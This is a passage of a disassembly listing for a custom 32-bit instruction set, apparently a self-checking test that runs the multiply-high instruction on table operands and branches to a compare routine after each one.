3cb4: 10 40 01 29 ld32 r9,r9
3cb8: 00 60 01 10 mulh r8,r16
3cbc: 20 70 03 e2 movepc rret,8
3cc0: 14 30 f0 d4 br 10 <compare>,#al
3cc4: 00 10 00 41 add r2,1
3cc8: 0d 40 95 04 wl16 r8,0x4a4
3ccc: 0d 60 01 03 wh16 r8,0x3
3cd0: 10 40 01 08 ld32 r8,r8
3cd4: 0d 42 b6 00 wl16 r16,0x15a0
3cd8: 0d 60 02 03 wh16 r16,0x3
3cdc: 10 40 02 10 ld32 r16,r16
3ce0: 0d 44 d1 3c wl16 r9,0x269c
3ce4: 0d 60 01 23 wh16 r9,0x3
3ce8: 10 40 01 29 ld32 r9,r9
3cec: 00 60 01 10 mulh r8,r16
3cf0: 20 70 03 e2 movepc rret,8
3cf4: 14 30 f0 c7 br 10 <compare>,#al
3cf8: 00 10 00 41 add r2,1
3cfc: 0d 40 95 08 wl16 r8,0x4a8
3d00: 0d 60 01 03 wh16 r8,0x3
3d04: 10 40 01 08 ld32 r8,r8
3d08: 0d 42 b6 04 wl16 r16,0x15a4
3d0c: 0d 60 02 03 wh16 r16,0x3
3d10: 10 40 02 10 ld32 r16,r16
3d14: 0d 44 d5 20 wl16 r9,0x26a0
3d18: 0d 60 01 23 wh16 r9,0x3
3d1c: 10 40 01 29 ld32 r9,r9
3d20: 00 60 01 10 mulh r8,r16
3d24: 20 70 03 e2 movepc rret,8
3d28: 14 30 f0 ba br 10 <compare>,#al
3d2c: 00 10 00 41 add r2,1
3d30: 0d 40 95 0c wl16 r8,0x4ac
3d34: 0d 60 01 03 wh16 r8,0x3
3d38: 10 40 01 08 ld32 r8,r8
3d3c: 0d 42 b6 08 wl16 r16,0x15a8
3d40: 0d 60 02 03 wh16 r16,0x3
3d44: 10 40 02 10 ld32 r16,r16
3d48: 0d 44 d5 24 wl16 r9,0x26a4
3d4c: 0d 60 01 23 wh16 r9,0x3
3d50: 10 40 01 29 ld32 r9,r9
3d54: 00 60 01 10 mulh r8,r16
3d58: 20 70 03 e2 movepc rret,8
3d5c: 14 30 f0 ad br 10 <compare>,#al
3d60: 00 10 00 41 add r2,1
3d64: 0d 40 95 10 wl16 r8,0x4b0
3d68: 0d 60 01 03 wh16 r8,0x3
3d6c: 10 40 01 08 ld32 r8,r8
3d70: 0d 42 b6 0c wl16 r16,0x15ac
3d74: 0d 60 02 03 wh16 r16,0x3
3d78: 10 40 02 10 ld32 r16,r16
3d7c: 0d 44 d5 28 wl16 r9,0x26a8
3d80: 0d 60 01 23 wh16 r9,0x3
3d84: 10 40 01 29 ld32 r9,r9
3d88: 00 60 01 10 mulh r8,r16
3d8c: 20 70 03 e2 movepc rret,8
3d90: 14 30 f0 a0 br 10 <compare>,#al
3d94: 00 10 00 41 add r2,1
3d98: 0d 40 95 14 wl16 r8,0x4b4
3d9c: 0d 60 01 03 wh16 r8,0x3
3da0: 10 40 01 08 ld32 r8,r8
3da4: 0d 42 b6 10 wl16 r16,0x15b0
3da8: 0d 60 02 03 wh16 r16,0x3
3dac: 10 40 02 10 ld32 r16,r16
3db0: 0d 44 d5 2c wl16 r9,0x26ac
3db4: 0d 60 01 23 wh16 r9,0x3
3db8: 10 40 01 29 ld32 r9,r9
3dbc: 00 60 01 10 mulh r8,r16
3dc0: 20 70 03 e2 movepc rret,8
3dc4: 14 30 f0 93 br 10 <compare>,#al
3dc8: 00 10 00 41 add r2,1
3dcc: 0d 40 95 18 wl16 r8,0x4b8
3dd0: 0d 60 01 03 wh16 r8,0x3
3dd4: 10 40 01 08 ld32 r8,r8
3dd8: 0d 42 b6 14 wl16 r16,0x15b4
3ddc: 0d 60 02 03 wh16 r16,0x3
3de0: 10 40 02 10 ld32 r16,r16
3de4: 0d 44 d5 30 wl16 r9,0x26b0
3de8: 0d 60 01 23 wh16 r9,0x3
3dec: 10 40 01 29 ld32 r9,r9
3df0: 00 60 01 10 mulh r8,r16
3df4: 20 70 03 e2 movepc rret,8
3df8: 14 30 f0 86 br 10 <compare>,#al
3dfc: 00 10 00 41 add r2,1
3e00: 0d 40 95 1c wl16 r8,0x4bc
3e04: 0d 60 01 03 wh16 r8,0x3
3e08: 10 40 01 08 ld32 r8,r8
3e0c: 0d 42 b6 18 wl16 r16,0x15b8
3e10: 0d 60 02 03 wh16 r16,0x3
3e14: 10 40 02 10 ld32 r16,r16
3e18: 0d 44 d5 34 wl16 r9,0x26b4
3e1c: 0d 60 01 23 wh16 r9,0x3
3e20: 10 40 01 29 ld32 r9,r9
3e24: 00 60 01 10 mulh r8,r16
3e28: 20 70 03 e2 movepc rret,8
3e2c: 14 30 f0 79 br 10 <compare>,#al
3e30: 00 10 00 41 add r2,1
3e34: 0d 40 99 00 wl16 r8,0x4c0
3e38: 0d 60 01 03 wh16 r8,0x3
3e3c: 10 40 01 08 ld32 r8,r8
3e40: 0d 42 b6 1c wl16 r16,0x15bc
3e44: 0d 60 02 03 wh16 r16,0x3
3e48: 10 40 02 10 ld32 r16,r16
3e4c: 0d 44 d5 38 wl16 r9,0x26b8
3e50: 0d 60 01 23 wh16 r9,0x3
3e54: 10 40 01 29 ld32 r9,r9
3e58: 00 60 01 10 mulh r8,r16
3e5c: 20 70 03 e2 movepc rret,8
3e60: 14 30 f0 6c br 10 <compare>,#al
3e64: 00 10 00 41 add r2,1
3e68: 0d 40 99 04 wl16 r8,0x4c4
3e6c: 0d 60 01 03 wh16 r8,0x3
3e70: 10 40 01 08 ld32 r8,r8
3e74: 0d 42 ba 00 wl16 r16,0x15c0
3e78: 0d 60 02 03 wh16 r16,0x3
3e7c: 10 40 02 10 ld32 r16,r16
3e80: 0d 44 d5 3c wl16 r9,0x26bc
3e84: 0d 60 01 23 wh16 r9,0x3
3e88: 10 40 01 29 ld32 r9,r9
3e8c: 00 60 01 10 mulh r8,r16
3e90: 20 70 03 e2 movepc rret,8
3e94: 14 30 f0 5f br 10 <compare>,#al
3e98: 00 10 00 41 add r2,1
3e9c: 0d 40 99 08 wl16 r8,0x4c8
3ea0: 0d 60 01 03 wh16 r8,0x3
3ea4: 10 40 01 08 ld32 r8,r8
3ea8: 0d 42 ba 04 wl16 r16,0x15c4
3eac: 0d 60 02 03 wh16 r16,0x3
3eb0: 10 40 02 10 ld32 r16,r16
3eb4: 0d 44 d9 20 wl16 r9,0x26c0
3eb8: 0d 60 01 23 wh16 r9,0x3
3ebc: 10 40 01 29 ld32 r9,r9
3ec0: 00 60 01 10 mulh r8,r16
3ec4: 20 70 03 e2 movepc rret,8
3ec8: 14 30 f0 52 br 10 <compare>,#al
3ecc: 00 10 00 41 add r2,1
3ed0: 0d 40 99 0c wl16 r8,0x4cc
3ed4: 0d 60 01 03 wh16 r8,0x3
3ed8: 10 40 01 08 ld32 r8,r8
3edc: 0d 42 ba 08 wl16 r16,0x15c8
3ee0: 0d 60 02 03 wh16 r16,0x3
3ee4: 10 40 02 10 ld32 r16,r16
3ee8: 0d 44 d9 24 wl16 r9,0x26c4
3eec: 0d 60 01 23 wh16 r9,0x3
3ef0: 10 40 01 29 ld32 r9,r9
3ef4: 00 60 01 10 mulh r8,r16
3ef8: 20 70 03 e2 movepc rret,8
3efc: 14 30 f0 45 br 10 <compare>,#al
3f00: 00 10 00 41 add r2,1
3f04: 0d 40 99 10 wl16 r8,0x4d0
3f08: 0d 60 01 03 wh16 r8,0x3
3f0c: 10 40 01 08 ld32 r8,r8
3f10: 0d 42 ba 0c wl16 r16,0x15cc
3f14: 0d 60 02 03 wh16 r16,0x3
3f18: 10 40 02 10 ld32 r16,r16
3f1c: 0d 44 d9 28 wl16 r9,0x26c8
3f20: 0d 60 01 23 wh16 r9,0x3
3f24: 10 40 01 29 ld32 r9,r9
3f28: 00 60 01 10 mulh r8,r16
3f2c: 20 70 03 e2 movepc rret,8
3f30: 14 30 f0 38 br 10 <compare>,#al
3f34: 00 10 00 41 add r2,1
3f38: 0d 40 99 14 wl16 r8,0x4d4
3f3c: 0d 60 01 03 wh16 r8,0x3
3f40: 10 40 01 08 ld32 r8,r8
3f44: 0d 42 ba 10 wl16 r16,0x15d0
3f48: 0d 60 02 03 wh16 r16,0x3
3f4c: 10 40 02 10 ld32 r16,r16
3f50: 0d 44 d9 2c wl16 r9,0x26cc
3f54: 0d 60 01 23 wh16 r9,0x3
3f58: 10 40 01 29 ld32 r9,r9
3f5c: 00 60 01 10 mulh r8,r16
3f60: 20 70 03 e2 movepc rret,8
3f64: 14 30 f0 2b br 10 <compare>,#al
3f68: 00 10 00 41 add r2,1
3f6c: 0d 40 99 18 wl16 r8,0x4d8
3f70: 0d 60 01 03 wh16 r8,0x3
3f74: 10 40 01 08 ld32 r8,r8
3f78: 0d 42 ba 14 wl16 r16,0x15d4
3f7c: 0d 60 02 03 wh16 r16,0x3
3f80: 10 40 02 10 ld32 r16,r16
3f84: 0d 44 d9 30 wl16 r9,0x26d0
3f88: 0d 60 01 23 wh16 r9,0x3
3f8c: 10 40 01 29 ld32 r9,r9
3f90: 00 60 01 10 mulh r8,r16
3f94: 20 70 03 e2 movepc rret,8
3f98: 14 30 f0 1e br 10 <compare>,#al
3f9c: 00 10 00 41 add r2,1
3fa0: 0d 40 99 1c wl16 r8,0x4dc
3fa4: 0d 60 01 03 wh16 r8,0x3
3fa8: 10 40 01 08 ld32 r8,r8
3fac: 0d 42 ba 18 wl16 r16,0x15d8
3fb0: 0d 60 02 03 wh16 r16,0x3
3fb4: 10 40 02 10 ld32 r16,r16
3fb8: 0d 44 d9 34 wl16 r9,0x26d4
3fbc: 0d 60 01 23 wh16 r9,0x3
3fc0: 10 40 01 29 ld32 r9,r9
3fc4: 00 60 01 10 mulh r8,r16
3fc8: 20 70 03 e2 movepc rret,8
3fcc: 14 30 f0 11 br 10 <compare>,#al
3fd0: 00 10 00 41 add r2,1
3fd4: 0d 40 9d 00 wl16 r8,0x4e0
3fd8: 0d 60 01 03 wh16 r8,0x3
3fdc: 10 40 01 08 ld32 r8,r8
3fe0: 0d 42 ba 1c wl16 r16,0x15dc
3fe4: 0d 60 02 03 wh16 r16,0x3
3fe8: 10 40 02 10 ld32 r16,r16
3fec: 0d 44 d9 38 wl16 r9,0x26d8
3ff0: 0d 60 01 23 wh16 r9,0x3
3ff4: 10 40 01 29 ld32 r9,r9
3ff8: 00 60 01 10 mulh r8,r16
3ffc: 20 70 03 e2 movepc rret,8
4000: 14 30 f0 04 br 10 <compare>,#al
4004: 00 10 00 41 add r2,1
4008: 0d 40 9d 04 wl16 r8,0x4e4
400c: 0d 60 01 03 wh16 r8,0x3
4010: 10 40 01 08 ld32 r8,r8
4014: 0d 42 be 00 wl16 r16,0x15e0
4018: 0d 60 02 03 wh16 r16,0x3
401c: 10 40 02 10 ld32 r16,r16
4020: 0d 44 d9 3c wl16 r9,0x26dc
4024: 0d 60 01 23 wh16 r9,0x3
4028: 10 40 01 29 ld32 r9,r9
402c: 00 60 01 10 mulh r8,r16
4030: 20 70 03 e2 movepc rret,8
4034: 14 30 ef f7 br 10 <compare>,#al
4038: 00 10 00 41 add r2,1
403c: 0d 40 9d 08 wl16 r8,0x4e8
4040: 0d 60 01 03 wh16 r8,0x3
4044: 10 40 01 08 ld32 r8,r8
4048: 0d 42 be 04 wl16 r16,0x15e4
404c: 0d 60 02 03 wh16 r16,0x3
4050: 10 40 02 10 ld32 r16,r16
4054: 0d 44 dd 20 wl16 r9,0x26e0
4058: 0d 60 01 23 wh16 r9,0x3
405c: 10 40 01 29 ld32 r9,r9
4060: 00 60 01 10 mulh r8,r16
4064: 20 70 03 e2 movepc rret,8
4068: 14 30 ef ea br 10 <compare>,#al
406c: 00 10 00 41 add r2,1
4070: 0d 40 9d 0c wl16 r8,0x4ec
4074: 0d 60 01 03 wh16 r8,0x3
4078: 10 40 01 08 ld32 r8,r8
407c: 0d 42 be 08 wl16 r16,0x15e8
4080: 0d 60 02 03 wh16 r16,0x3
4084: 10 40 02 10 ld32 r16,r16
4088: 0d 44 dd 24 wl16 r9,0x26e4
408c: 0d 60 01 23 wh16 r9,0x3
4090: 10 40 01 29 ld32 r9,r9
4094: 00 60 01 10 mulh r8,r16
4098: 20 70 03 e2 movepc rret,8
409c: 14 30 ef dd br 10 <compare>,#al
40a0: 00 10 00 41 add r2,1
40a4: 0d 40 9d 10 wl16 r8,0x4f0
40a8: 0d 60 01 03 wh16 r8,0x3
40ac: 10 40 01 08 ld32 r8,r8
40b0: 0d 42 be 0c wl16 r16,0x15ec
40b4: 0d 60 02 03 wh16 r16,0x3
40b8: 10 40 02 10 ld32 r16,r16
40bc: 0d 44 dd 28 wl16 r9,0x26e8
40c0: 0d 60 01 23 wh16 r9,0x3
40c4: 10 40 01 29 ld32 r9,r9
40c8: 00 60 01 10 mulh r8,r16
40cc: 20 70 03 e2 movepc rret,8
40d0: 14 30 ef d0 br 10 <compare>,#al
40d4: 00 10 00 41 add r2,1
40d8: 0d 40 9d 14 wl16 r8,0x4f4
40dc: 0d 60 01 03 wh16 r8,0x3
40e0: 10 40 01 08 ld32 r8,r8
40e4: 0d 42 be 10 wl16 r16,0x15f0
40e8: 0d 60 02 03 wh16 r16,0x3
40ec: 10 40 02 10 ld32 r16,r16
40f0: 0d 44 dd 2c wl16 r9,0x26ec
40f4: 0d 60 01 23 wh16 r9,0x3
40f8: 10 40 01 29 ld32 r9,r9
40fc: 00 60 01 10 mulh r8,r16
4100: 20 70 03 e2 movepc rret,8
4104: 14 30 ef c3 br 10 <compare>,#al
4108: 00 10 00 41 add r2,1
410c: 0d 40 9d 18 wl16 r8,0x4f8
4110: 0d 60 01 03 wh16 r8,0x3
4114: 10 40 01 08 ld32 r8,r8
4118: 0d 42 be 14 wl16 r16,0x15f4
411c: 0d 60 02 03 wh16 r16,0x3
4120: 10 40 02 10 ld32 r16,r16
4124: 0d 44 dd 30 wl16 r9,0x26f0
4128: 0d 60 01 23 wh16 r9,0x3
412c: 10 40 01 29 ld32 r9,r9
4130: 00 60 01 10 mulh r8,r16
4134: 20 70 03 e2 movepc rret,8
4138: 14 30 ef b6 br 10 <compare>,#al
413c: 00 10 00 41 add r2,1
4140: 0d 40 9d 1c wl16 r8,0x4fc
4144: 0d 60 01 03 wh16 r8,0x3
4148: 10 40 01 08 ld32 r8,r8
414c: 0d 42 be 18 wl16 r16,0x15f8
4150: 0d 60 02 03 wh16 r16,0x3
4154: 10 40 02 10 ld32 r16,r16
4158: 0d 44 dd 34 wl16 r9,0x26f4
415c: 0d 60 01 23 wh16 r9,0x3
4160: 10 40 01 29 ld32 r9,r9
4164: 00 60 01 10 mulh r8,r16
4168: 20 70 03 e2 movepc rret,8
416c: 14 30 ef a9 br 10 <compare>,#al
4170: 00 10 00 41 add r2,1
4174: 0d 40 a1 00 wl16 r8,0x500
4178: 0d 60 01 03 wh16 r8,0x3
417c: 10 40 01 08 ld32 r8,r8
4180: 0d 42 be 1c wl16 r16,0x15fc
4184: 0d 60 02 03 wh16 r16,0x3
4188: 10 40 02 10 ld32 r16,r16
418c: 0d 44 dd 38 wl16 r9,0x26f8
4190: 0d 60 01 23 wh16 r9,0x3
4194: 10 40 01 29 ld32 r9,r9
4198: 00 60 01 10 mulh r8,r16
419c: 20 70 03 e2 movepc rret,8
41a0: 14 30 ef 9c br 10 <compare>,#al
41a4: 00 10 00 41 add r2,1
41a8: 0d 40 a1 04 wl16 r8,0x504
41ac: 0d 60 01 03 wh16 r8,0x3
41b0: 10 40 01 08 ld32 r8,r8
41b4: 0d 42 c2 00 wl16 r16,0x1600
41b8: 0d 60 02 03 wh16 r16,0x3
41bc: 10 40 02 10 ld32 r16,r16
41c0: 0d 44 dd 3c wl16 r9,0x26fc
41c4: 0d 60 01 23 wh16 r9,0x3
41c8: 10 40 01 29 ld32 r9,r9
41cc: 00 60 01 10 mulh r8,r16
41d0: 20 70 03 e2 movepc rret,8
41d4: 14 30 ef 8f br 10 <compare>,#al
41d8: 00 10 00 41 add r2,1
41dc: 0d 40 a1 08 wl16 r8,0x508
41e0: 0d 60 01 03 wh16 r8,0x3
41e4: 10 40 01 08 ld32 r8,r8
41e8: 0d 42 c2 04 wl16 r16,0x1604
41ec: 0d 60 02 03 wh16 r16,0x3
41f0: 10 40 02 10 ld32 r16,r16
41f4: 0d 44 e1 20 wl16 r9,0x2700
41f8: 0d 60 01 23 wh16 r9,0x3
41fc: 10 40 01 29 ld32 r9,r9
4200: 00 60 01 10 mulh r8,r16
4204: 20 70 03 e2 movepc rret,8
4208: 14 30 ef 82 br 10 <compare>,#al
420c: 00 10 00 41 add r2,1
4210: 0d 40 a1 0c wl16 r8,0x50c
4214: 0d 60 01 03 wh16 r8,0x3
4218: 10 40 01 08 ld32 r8,r8
421c: 0d 42 c2 08 wl16 r16,0x1608
4220: 0d 60 02 03 wh16 r16,0x3
4224: 10 40 02 10 ld32 r16,r16
4228: 0d 44 e1 24 wl16 r9,0x2704
422c: 0d 60 01 23 wh16 r9,0x3
4230: 10 40 01 29 ld32 r9,r9
4234: 00 60 01 10 mulh r8,r16
4238: 20 70 03 e2 movepc rret,8
423c: 14 30 ef 75 br 10 <compare>,#al
4240: 00 10 00 41 add r2,1
4244: 0d 40 a1 10 wl16 r8,0x510
4248: 0d 60 01 03 wh16 r8,0x3
424c: 10 40 01 08 ld32 r8,r8
4250: 0d 42 c2 0c wl16 r16,0x160c
4254: 0d 60 02 03 wh16 r16,0x3
4258: 10 40 02 10 ld32 r16,r16
425c: 0d 44 e1 28 wl16 r9,0x2708
4260: 0d 60 01 23 wh16 r9,0x3
4264: 10 40 01 29 ld32 r9,r9
4268: 00 60 01 10 mulh r8,r16
426c: 20 70 03 e2 movepc rret,8
4270: 14 30 ef 68 br 10 <compare>,#al
4274: 00 10 00 41 add r2,1
4278: 0d 40 a1 14 wl16 r8,0x514
427c: 0d 60 01 03 wh16 r8,0x3
4280: 10 40 01 08 ld32 r8,r8
4284: 0d 42 c2 10 wl16 r16,0x1610
4288: 0d 60 02 03 wh16 r16,0x3
428c: 10 40 02 10 ld32 r16,r16
4290: 0d 44 e1 2c wl16 r9,0x270c
4294: 0d 60 01 23 wh16 r9,0x3
4298: 10 40 01 29 ld32 r9,r9
429c: 00 60 01 10 mulh r8,r16
42a0: 20 70 03 e2 movepc rret,8
42a4: 14 30 ef 5b br 10 <compare>,#al
42a8: 00 10 00 41 add r2,1
42ac: 0d 40 a1 18 wl16 r8,0x518
42b0: 0d 60 01 03 wh16 r8,0x3
42b4: 10 40 01 08 ld32 r8,r8
42b8: 0d 42 c2 14 wl16 r16,0x1614
42bc: 0d 60 02 03 wh16 r16,0x3
42c0: 10 40 02 10 ld32 r16,r16
42c4: 0d 44 e1 30 wl16 r9,0x2710
42c8: 0d 60 01 23 wh16 r9,0x3
42cc: 10 40 01 29 ld32 r9,r9
42d0: 00 60 01 10 mulh r8,r16
42d4: 20 70 03 e2 movepc rret,8
42d8: 14 30 ef 4e br 10 <compare>,#al
42dc: 00 10 00 41 add r2,1
42e0: 0d 40 a1 1c wl16 r8,0x51c
42e4: 0d 60 01 03 wh16 r8,0x3
42e8: 10 40 01 08 ld32 r8,r8
42ec: 0d 42 c2 18 wl16 r16,0x1618
42f0: 0d 60 02 03 wh16 r16,0x3
42f4: 10 40 02 10 ld32 r16,r16
42f8: 0d 44 e1 34 wl16 r9,0x2714
42fc: 0d 60 01 23 wh16 r9,0x3
4300: 10 40 01 29 ld32 r9,r9
4304: 00 60 01 10 mulh r8,r16
4308: 20 70 03 e2 movepc rret,8
430c: 14 30 ef 41 br 10 <compare>,#al
4310: 00 10 00 41 add r2,1
4314: 0d 40 a5 00 wl16 r8,0x520
4318: 0d 60 01 03 wh16 r8,0x3
431c: 10 40 01 08 ld32 r8,r8
4320: 0d 42 c2 1c wl16 r16,0x161c
4324: 0d 60 02 03 wh16 r16,0x3
4328: 10 40 02 10 ld32 r16,r16
432c: 0d 44 e1 38 wl16 r9,0x2718
4330: 0d 60 01 23 wh16 r9,0x3
4334: 10 40 01 29 ld32 r9,r9
4338: 00 60 01 10 mulh r8,r16
433c: 20 70 03 e2 movepc rret,8
4340: 14 30 ef 34 br 10 <compare>,#al
4344: 00 10 00 41 add r2,1
4348: 0d 40 a5 04 wl16 r8,0x524
434c: 0d 60 01 03 wh16 r8,0x3
4350: 10 40 01 08 ld32 r8,r8
4354: 0d 42 c6 00 wl16 r16,0x1620
4358: 0d 60 02 03 wh16 r16,0x3
435c: 10 40 02 10 ld32 r16,r16
4360: 0d 44 e1 3c wl16 r9,0x271c
4364: 0d 60 01 23 wh16 r9,0x3
4368: 10 40 01 29 ld32 r9,r9
436c: 00 60 01 10 mulh r8,r16
4370: 20 70 03 e2 movepc rret,8
4374: 14 30 ef 27 br 10 <compare>,#al
4378: 00 10 00 41 add r2,1
437c: 0d 40 a5 08 wl16 r8,0x528
4380: 0d 60 01 03 wh16 r8,0x3
4384: 10 40 01 08 ld32 r8,r8
4388: 0d 42 c6 04 wl16 r16,0x1624
438c: 0d 60 02 03 wh16 r16,0x3
4390: 10 40 02 10 ld32 r16,r16
4394: 0d 44 e5 20 wl16 r9,0x2720
4398: 0d 60 01 23 wh16 r9,0x3
439c: 10 40 01 29 ld32 r9,r9
43a0: 00 60 01 10 mulh r8,r16
43a4: 20 70 03 e2 movepc rret,8
43a8: 14 30 ef 1a br 10 <compare>,#al
43ac: 00 10 00 41 add r2,1
43b0: 0d 40 a5 0c wl16 r8,0x52c
43b4: 0d 60 01 03 wh16 r8,0x3
43b8: 10 40 01 08 ld32 r8,r8
43bc: 0d 42 c6 08 wl16 r16,0x1628
43c0: 0d 60 02 03 wh16 r16,0x3
43c4: 10 40 02 10 ld32 r16,r16
43c8: 0d 44 e5 24 wl16 r9,0x2724
43cc: 0d 60 01 23 wh16 r9,0x3
43d0: 10 40 01 29 ld32 r9,r9
43d4: 00 60 01 10 mulh r8,r16
43d8: 20 70 03 e2 movepc rret,8
43dc: 14 30 ef 0d br 10 <compare>,#al
43e0: 00 10 00 41 add r2,1
43e4: 0d 40 a5 10 wl16 r8,0x530
43e8: 0d 60 01 03 wh16 r8,0x3
43ec: 10 40 01 08 ld32 r8,r8
43f0: 0d 42 c6 0c wl16 r16,0x162c
43f4: 0d 60 02 03 wh16 r16,0x3
43f8: 10 40 02 10 ld32 r16,r16
43fc: 0d 44 e5 28 wl16 r9,0x2728
4400: 0d 60 01 23 wh16 r9,0x3
4404: 10 40 01 29 ld32 r9,r9
4408: 00 60 01 10 mulh r8,r16
440c: 20 70 03 e2 movepc rret,8
4410: 14 30 ef 00 br 10 <compare>,#al
4414: 00 10 00 41 add r2,1
4418: 0d 40 a5 14 wl16 r8,0x534
441c: 0d 60 01 03 wh16 r8,0x3
4420: 10 40 01 08 ld32 r8,r8
4424: 0d 42 c6 10 wl16 r16,0x1630
4428: 0d 60 02 03 wh16 r16,0x3
442c: 10 40 02 10 ld32 r16,r16
4430: 0d 44 e5 2c wl16 r9,0x272c
4434: 0d 60 01 23 wh16 r9,0x3
4438: 10 40 01 29 ld32 r9,r9
443c: 00 60 01 10 mulh r8,r16
4440: 20 70 03 e2 movepc rret,8
4444: 14 30 ee f3 br 10 <compare>,#al
4448: 00 10 00 41 add r2,1
444c: 0d 40 a5 18 wl16 r8,0x538
4450: 0d 60 01 03 wh16 r8,0x3
4454: 10 40 01 08 ld32 r8,r8
4458: 0d 42 c6 14 wl16 r16,0x1634
445c: 0d 60 02 03 wh16 r16,0x3
4460: 10 40 02 10 ld32 r16,r16
4464: 0d 44 e5 30 wl16 r9,0x2730
4468: 0d 60 01 23 wh16 r9,0x3
446c: 10 40 01 29 ld32 r9,r9
4470: 00 60 01 10 mulh r8,r16
4474: 20 70 03 e2 movepc rret,8
4478: 14 30 ee e6 br 10 <compare>,#al
447c: 00 10 00 41 add r2,1
4480: 0d 40 a5 1c wl16 r8,0x53c
4484: 0d 60 01 03 wh16 r8,0x3
4488: 10 40 01 08 ld32 r8,r8
448c: 0d 42 c6 18 wl16 r16,0x1638
4490: 0d 60 02 03 wh16 r16,0x3
4494: 10 40 02 10 ld32 r16,r16
4498: 0d 44 e5 34 wl16 r9,0x2734
449c: 0d 60 01 23 wh16 r9,0x3
44a0: 10 40 01 29 ld32 r9,r9
44a4: 00 60 01 10 mulh r8,r16
44a8: 20 70 03 e2 movepc rret,8
44ac: 14 30 ee d9 br 10 <compare>,#al
44b0: 00 10 00 41 add r2,1
44b4: 0d 40 a9 00 wl16 r8,0x540
44b8: 0d 60 01 03 wh16 r8,0x3
44bc: 10 40 01 08 ld32 r8,r8
44c0: 0d 42 c6 1c wl16 r16,0x163c
44c4: 0d 60 02 03 wh16 r16,0x3
44c8: 10 40 02 10 ld32 r16,r16
44cc: 0d 44 e5 38 wl16 r9,0x2738
44d0: 0d 60 01 23 wh16 r9,0x3
44d4: 10 40 01 29 ld32 r9,r9
44d8: 00 60 01 10 mulh r8,r16
44dc: 20 70 03 e2 movepc rret,8
44e0: 14 30 ee cc br 10 <compare>,#al
44e4: 00 10 00 41 add r2,1
44e8: 0d 40 a9 04 wl16 r8,0x544
44ec: 0d 60 01 03 wh16 r8,0x3
44f0: 10 40 01 08 ld32 r8,r8
44f4: 0d 42 ca 00 wl16 r16,0x1640
44f8: 0d 60 02 03 wh16 r16,0x3
44fc: 10 40 02 10 ld32 r16,r16
4500: 0d 44 e5 3c wl16 r9,0x273c
4504: 0d 60 01 23 wh16 r9,0x3
4508: 10 40 01 29 ld32 r9,r9
450c: 00 60 01 10 mulh r8,r16
4510: 20 70 03 e2 movepc rret,8
4514: 14 30 ee bf br 10 <compare>,#al
4518: 00 10 00 41 add r2,1
451c: 0d 40 a9 08 wl16 r8,0x548
4520: 0d 60 01 03 wh16 r8,0x3
4524: 10 40 01 08 ld32 r8,r8
4528: 0d 42 ca 04 wl16 r16,0x1644
452c: 0d 60 02 03 wh16 r16,0x3
4530: 10 40 02 10 ld32 r16,r16
4534: 0d 44 e9 20 wl16 r9,0x2740
4538: 0d 60 01 23 wh16 r9,0x3
453c: 10 40 01 29 ld32 r9,r9
4540: 00 60 01 10 mulh r8,r16
4544: 20 70 03 e2 movepc rret,8
4548: 14 30 ee b2 br 10 <compare>,#al
454c: 00 10 00 41 add r2,1
4550: 0d 40 a9 0c wl16 r8,0x54c
4554: 0d 60 01 03 wh16 r8,0x3
4558: 10 40 01 08 ld32 r8,r8
455c: 0d 42 ca 08 wl16 r16,0x1648
4560: 0d 60 02 03 wh16 r16,0x3
4564: 10 40 02 10 ld32 r16,r16
4568: 0d 44 e9 24 wl16 r9,0x2744
456c: 0d 60 01 23 wh16 r9,0x3
4570: 10 40 01 29 ld32 r9,r9
4574: 00 60 01 10 mulh r8,r16
4578: 20 70 03 e2 movepc rret,8
457c: 14 30 ee a5 br 10 <compare>,#al
4580: 00 10 00 41 add r2,1
4584: 0d 40 a9 10 wl16 r8,0x550
4588: 0d 60 01 03 wh16 r8,0x3
458c: 10 40 01 08 ld32 r8,r8
4590: 0d 42 ca 0c wl16 r16,0x164c
4594: 0d 60 02 03 wh16 r16,0x3
4598: 10 40 02 10 ld32 r16,r16
459c: 0d 44 e9 28 wl16 r9,0x2748
45a0: 0d 60 01 23 wh16 r9,0x3
45a4: 10 40 01 29 ld32 r9,r9
45a8: 00 60 01 10 mulh r8,r16
45ac: 20 70 03 e2 movepc rret,8
45b0: 14 30 ee 98 br 10 <compare>,#al
45b4: 00 10 00 41 add r2,1
45b8: 0d 40 a9 14 wl16 r8,0x554
45bc: 0d 60 01 03 wh16 r8,0x3
45c0: 10 40 01 08 ld32 r8,r8
45c4: 0d 42 ca 10 wl16 r16,0x1650
45c8: 0d 60 02 03 wh16 r16,0x3
45cc: 10 40 02 10 ld32 r16,r16
45d0: 0d 44 e9 2c wl16 r9,0x274c
45d4: 0d 60 01 23 wh16 r9,0x3
45d8: 10 40 01 29 ld32 r9,r9
45dc: 00 60 01 10 mulh r8,r16
45e0: 20 70 03 e2 movepc rret,8
45e4: 14 30 ee 8b br 10 <compare>,#al
45e8: 00 10 00 41 add r2,1
45ec: 0d 40 a9 18 wl16 r8,0x558
45f0: 0d 60 01 03 wh16 r8,0x3
45f4: 10 40 01 08 ld32 r8,r8
45f8: 0d 42 ca 14 wl16 r16,0x1654
45fc: 0d 60 02 03 wh16 r16,0x3
4600: 10 40 02 10 ld32 r16,r16
4604: 0d 44 e9 30 wl16 r9,0x2750
4608: 0d 60 01 23 wh16 r9,0x3
460c: 10 40 01 29 ld32 r9,r9
4610: 00 60 01 10 mulh r8,r16
4614: 20 70 03 e2 movepc rret,8
4618: 14 30 ee 7e br 10 <compare>,#al
461c: 00 10 00 41 add r2,1
4620: 0d 40 a9 1c wl16 r8,0x55c
4624: 0d 60 01 03 wh16 r8,0x3
4628: 10 40 01 08 ld32 r8,r8
462c: 0d 42 ca 18 wl16 r16,0x1658
4630: 0d 60 02 03 wh16 r16,0x3
4634: 10 40 02 10 ld32 r16,r16
4638: 0d 44 e9 34 wl16 r9,0x2754
463c: 0d 60 01 23 wh16 r9,0x3
4640: 10 40 01 29 ld32 r9,r9
4644: 00 60 01 10 mulh r8,r16
4648: 20 70 03 e2 movepc rret,8
464c: 14 30 ee 71 br 10 <compare>,#al
4650: 00 10 00 41 add r2,1
4654: 0d 40 ad 00 wl16 r8,0x560
4658: 0d 60 01 03 wh16 r8,0x3
465c: 10 40 01 08 ld32 r8,r8
4660: 0d 42 ca 1c wl16 r16,0x165c
4664: 0d 60 02 03 wh16 r16,0x3
4668: 10 40 02 10 ld32 r16,r16
466c: 0d 44 e9 38 wl16 r9,0x2758
4670: 0d 60 01 23 wh16 r9,0x3
4674: 10 40 01 29 ld32 r9,r9
4678: 00 60 01 10 mulh r8,r16
467c: 20 70 03 e2 movepc rret,8
